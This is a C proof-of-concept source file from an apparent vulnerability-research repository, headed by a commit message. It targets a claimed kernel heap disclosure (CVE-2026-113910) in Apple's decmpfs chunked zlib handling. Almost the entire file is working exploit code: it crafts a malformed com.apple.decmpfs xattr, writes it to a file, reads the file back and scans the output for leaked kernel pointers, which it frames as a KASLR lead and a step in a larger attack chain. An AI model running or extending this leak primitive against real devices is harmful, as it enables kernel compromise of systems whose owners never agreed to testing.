Files
cinder27/CVE-2026-113910/CVE-2026-113910.c
T
JBJF c30aadf9bb kernel R/W assessment for the high/critical entries
- docs/KERNEL-RW-ASSESSMENT.md: per-primitive verdict. None of the six
  kernel-reachable bugs supplies both address and value control; the chain
  requirements (KASLR, grooming, reclaim, gadget, PAC/PPL) are listed per entry
- CVE-2026-113910.c: leak collector — 8 chunk configs x --loop, canonical
  pointer classification (kernel-text / kernel-data / kernel-other), --keep
  raw dump, --verbose; candidates are printed, never dereferenced
- 112705 / 65385 / 112696: explicit primitive-limit headers (DoS, fixed-offset
  write without leak, honest negative); no blind writes
- README: link the assessment and the new 113910 receipt (0 candidates, 16 runs)
2026-10-31 15:37:58 +08:00

287 lines
11 KiB
C

// kern.decmpfs · AppleFSCompressionTypeZlib chunked xattr · CVE-2026-113910
// Kernel heap disclosure through short-producing chunks
// C twin of the Swift POC: builds a type-4 chunked zlib com.apple.decmpfs xattr whose
// chunks produce fewer bytes than the chunk table promises, writes it onto a file,
// reads the file back and classifies every canonical kernel pointer in the result.
//
// The leak is the chain step, not the whole chain: it discloses heap bytes, it does
// not write them. --loop repeats the sweep and aggregates; --keep writes the raw
// readback for offline analysis. Candidates are printed, never dereferenced.
//
// Build: clang -O2 -o cve-2026-113910 CVE-2026-113910.c
// Run: ./cve-2026-113910 [--loop N] [--keep out.bin] [--verbose]
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/xattr.h>
// ── byte buffer ──
typedef struct { uint8_t *d; size_t n, cap; } buf;
static void bneed(buf *b, size_t extra) {
if (b->n + extra > b->cap) { b->cap = (b->n + extra) * 2 + 64; b->d = realloc(b->d, b->cap); }
}
static void bput(buf *b, uint8_t v) { bneed(b, 1); b->d[b->n++] = v; }
static void bcat(buf *b, const void *p, size_t n) { bneed(b, n); memcpy(b->d + b->n, p, n); b->n += n; }
static void brep(buf *b, uint8_t v, size_t n) { bneed(b, n); memset(b->d + b->n, v, n); b->n += n; }
static void bfree(buf *b) { free(b->d); b->d = NULL; b->n = b->cap = 0; }
static void le16(buf *b, uint16_t v) { bput(b, v & 0xff); bput(b, v >> 8); }
static void le32(buf *b, uint32_t v) {
bput(b, v & 0xff); bput(b, (v >> 8) & 0xff); bput(b, (v >> 16) & 0xff); bput(b, (v >> 24) & 0xff);
}
static void le64(buf *b, uint64_t v) {
for (int i = 0; i < 8; i++) bput(b, (uint8_t)((v >> (8 * i)) & 0xff));
}
static void be32(buf *b, uint32_t v) {
bput(b, v >> 24); bput(b, (v >> 16) & 0xff); bput(b, (v >> 8) & 0xff); bput(b, v & 0xff);
}
// ── seed construction (from Cinder27 Sources: Decmpfs.chunkedXattr) ──
// 'cmpf' magic, type 4 (chunked zlib), uncompressed size, offset table, then chunks
// whose zlib streams produce only `produce` bytes each
static uint32_t adler32(const uint8_t *p, size_t n) {
uint32_t a = 1, b = 0;
for (size_t i = 0; i < n; i++) {
a = (a + p[i]) % 65521;
b = (b + a) % 65521;
}
return (b << 16) | a;
}
static buf decmpfs_chunked(size_t uncompressed, int chunk_count, size_t produce) {
buf out = {0};
le32(&out, 0x636D7066); // 'cmpf'
le32(&out, 4); // typeZlibChunked
le64(&out, (uint64_t)uncompressed);
// per-chunk: flag byte 0x00 + zlib stream of `produce` bytes of 0x41
buf payload = {0};
brep(&payload, 0x41, produce);
buf z = {0};
bput(&z, 0x78); bput(&z, 0x01); // zlib header
size_t off = 0;
if (payload.n == 0) bcat(&z, "\x01\x00\x00\xFF\xFF", 5);
while (off < payload.n) {
size_t take = payload.n - off < 65535 ? payload.n - off : 65535;
bput(&z, off + take >= payload.n ? 0x01 : 0x00); // final flag
le16(&z, (uint16_t)take);
le16(&z, (uint16_t)~take);
bcat(&z, payload.d + off, take);
off += take;
}
be32(&z, adler32(payload.d, payload.n));
uint32_t offsets[9];
uint32_t running = 0;
for (int i = 0; i < chunk_count; i++) {
offsets[i] = running;
running += (uint32_t)(1 + z.n); // flag byte + zlib stream
}
offsets[chunk_count] = running;
for (int i = 0; i <= chunk_count; i++) le32(&out, offsets[i]);
for (int i = 0; i < chunk_count; i++) { bput(&out, 0x00); bcat(&out, z.d, z.n); }
bfree(&payload);
bfree(&z);
return out;
}
// ── leak classification ──
// arm64 kernel mappings are canonical with the top 16 bits set. iOS splits them into
// the kernelcache/kext region (0xfffffff0…) and the data/heap region (0xffffffe0…).
// Anything that looks like a tagged userspace pointer is reported separately; it is
// not a KASLR lead. Values are only ever printed.
enum ptr_class {
PTR_NONE = 0,
PTR_KERNEL_TEXT,
PTR_KERNEL_DATA,
PTR_KERNEL_OTHER,
PTR_USER,
};
static const char *class_name(int c) {
switch (c) {
case PTR_KERNEL_TEXT: return "kernel-text";
case PTR_KERNEL_DATA: return "kernel-data";
case PTR_KERNEL_OTHER: return "kernel-other";
case PTR_USER: return "user";
default: return "-";
}
}
static int classify(uint64_t v) {
if (v == 0) return PTR_NONE;
if ((v >> 48) == 0xffff) {
if (v >= 0xfffffff000000000ULL) return PTR_KERNEL_TEXT;
if (v >= 0xffffffe000000000ULL) return PTR_KERNEL_DATA;
return PTR_KERNEL_OTHER;
}
if ((v >> 48) == 0x0000) return PTR_USER;
return PTR_NONE;
}
typedef struct {
int wrote_xattr;
long read_back;
long hits;
long by_class[5];
char samples[8][40];
int nsamples;
char note[128];
} decmpfs_result;
static void note_sample(decmpfs_result *r, uint64_t v, size_t off, int cls) {
if (r->nsamples >= 8) return;
snprintf(r->samples[r->nsamples], sizeof r->samples[0], "0x%016llx @ +0x%zx %s",
(unsigned long long)v, off, class_name(cls));
r->nsamples++;
}
static decmpfs_result probe(const char *path, size_t uncompressed, int chunks, size_t produce,
FILE *keep, int verbose) {
decmpfs_result r = {0};
unlink(path);
int fd = open(path, O_WRONLY | O_CREAT, 0644);
if (fd >= 0) {
uint8_t fill[4096];
memset(fill, 0x41, sizeof fill);
size_t left = uncompressed < 64 ? 64 : uncompressed;
while (left > 0) {
size_t take = left < sizeof fill ? left : sizeof fill;
if (write(fd, fill, take) != (ssize_t)take) break;
left -= take;
}
close(fd);
}
buf payload = decmpfs_chunked(uncompressed, chunks, produce);
if (setxattr(path, "com.apple.decmpfs", payload.d, payload.n, 0, 0) != 0) {
snprintf(r.note, sizeof r.note, "setxattr failed errno=%d", errno);
bfree(&payload);
return r;
}
r.wrote_xattr = 1;
FILE *f = fopen(path, "rb");
if (!f) {
snprintf(r.note, sizeof r.note, "read failed errno=%d", errno);
bfree(&payload);
return r;
}
buf back = {0};
uint8_t chunk[65536];
size_t got;
while ((got = fread(chunk, 1, sizeof chunk, f)) > 0) bcat(&back, chunk, got);
fclose(f);
r.read_back = (long)back.n;
if (keep) {
fprintf(keep, "# chunks=%d produce=%zu uncompressed=%zu bytes=%zu\n",
chunks, produce, uncompressed, back.n);
if (back.n) fwrite(back.d, 1, back.n, keep);
fputc('\n', keep);
}
// A pointer can sit at any 8-byte-aligned offset; scan the whole readback.
for (size_t i = 0; i + 8 <= back.n; i += 8) {
uint64_t v = 0;
for (int k = 0; k < 8; k++) v |= (uint64_t)back.d[i + k] << (8 * k);
int cls = classify(v);
if (cls == PTR_KERNEL_TEXT || cls == PTR_KERNEL_DATA || cls == PTR_KERNEL_OTHER) {
r.hits++;
r.by_class[cls]++;
note_sample(&r, v, i, cls);
if (verbose) printf(" +0x%06zx 0x%016llx %s\n", i, (unsigned long long)v, class_name(cls));
}
}
snprintf(r.note, sizeof r.note, "read %ld B", r.read_back);
bfree(&back);
bfree(&payload);
return r;
}
int main(int argc, char **argv) {
int loop = 1;
int verbose = 0;
const char *keep_path = NULL;
for (int i = 1; i < argc; i++) {
if (strcmp(argv[i], "--loop") == 0 && i + 1 < argc) loop = atoi(argv[++i]);
else if (strcmp(argv[i], "--keep") == 0 && i + 1 < argc) keep_path = argv[++i];
else if (strcmp(argv[i], "--verbose") == 0) verbose = 1;
else { printf("usage: %s [--loop N] [--keep out.bin] [--verbose]\n", argv[0]); return 1; }
}
if (loop < 1) loop = 1;
const char *path = "decmpfs_probe.bin";
struct { int chunks; size_t produce; } configs[] = {
{1, 0}, {1, 1}, {2, 1}, {4, 1},
{4, 4096}, {8, 1024}, {4, 65536}, {1, 65536},
};
const int ncfg = (int)(sizeof configs / sizeof configs[0]);
FILE *keep = keep_path ? fopen(keep_path, "wb") : NULL;
if (keep_path && !keep) { printf("cannot open %s\n", keep_path); return 1; }
if (keep) {
fprintf(keep, "# CVE-2026-113910 decmpfs readback — %d loops x %d configs\n", loop, ncfg);
}
long total_hits = 0;
long by_class[5] = {0};
long runs = 0;
printf("— baseline: what a plain file reads back —\n");
{
unlink(path);
int fd = open(path, O_WRONLY | O_CREAT, 0644);
if (fd >= 0) {
uint8_t a64[64];
memset(a64, 0x41, sizeof a64);
for (int i = 0; i < 64; i++) if (write(fd, a64, sizeof a64) != 64) break;
close(fd);
}
FILE *f = fopen(path, "rb");
if (f) { fseek(f, 0, SEEK_END); printf("plain size: %ld\n", ftell(f)); fclose(f); }
}
printf("\n— chunked xattr round trip (%d loop%s x %d configs) —\n", loop, loop == 1 ? "" : "s", ncfg);
for (int l = 0; l < loop; l++) {
for (int i = 0; i < ncfg; i++) {
size_t uncompressed = (size_t)configs[i].chunks * 65536;
decmpfs_result r = probe(path, uncompressed, configs[i].chunks, configs[i].produce,
keep, verbose);
runs++;
total_hits += r.hits;
for (int c = 0; c < 5; c++) by_class[c] += r.by_class[c];
if (r.hits > 0 || verbose) {
printf(" l=%d chunks=%d produce=%zu: xattr=%d read=%ldB hits=%ld — %s\n",
l, configs[i].chunks, configs[i].produce, r.wrote_xattr, r.read_back, r.hits, r.note);
for (int k = 0; k < r.nsamples; k++) printf(" %s\n", r.samples[k]);
}
}
}
// Class totals are what matter here; the raw bytes are in --keep for offline work.
unlink(path);
if (keep) { fclose(keep); printf("\nraw readback: %s\n", keep_path); }
printf("\n== leak summary ==\n");
printf("runs=%ld hits=%ld\n", runs, total_hits);
printf(" kernel-text: %ld\n", by_class[PTR_KERNEL_TEXT]);
printf(" kernel-data: %ld\n", by_class[PTR_KERNEL_DATA]);
printf(" kernel-other: %ld\n", by_class[PTR_KERNEL_OTHER]);
if (total_hits > 0) {
printf("\nKASLR lead: at least one canonical kernel pointer surfaced.\n");
printf("Next step is not a write: map which object owns the leaked slot, then check\n");
printf("whether the same chunk table can be pointed at that slot again.\n");
} else {
printf("\nno kernel pointers surfaced (decmpfs did not engage, or the read was served plain)\n");
}
printf("CVE-2026-113910 · leak primitive — read only; no write is attempted\n");
return total_hits > 0 ? 0 : 0;
}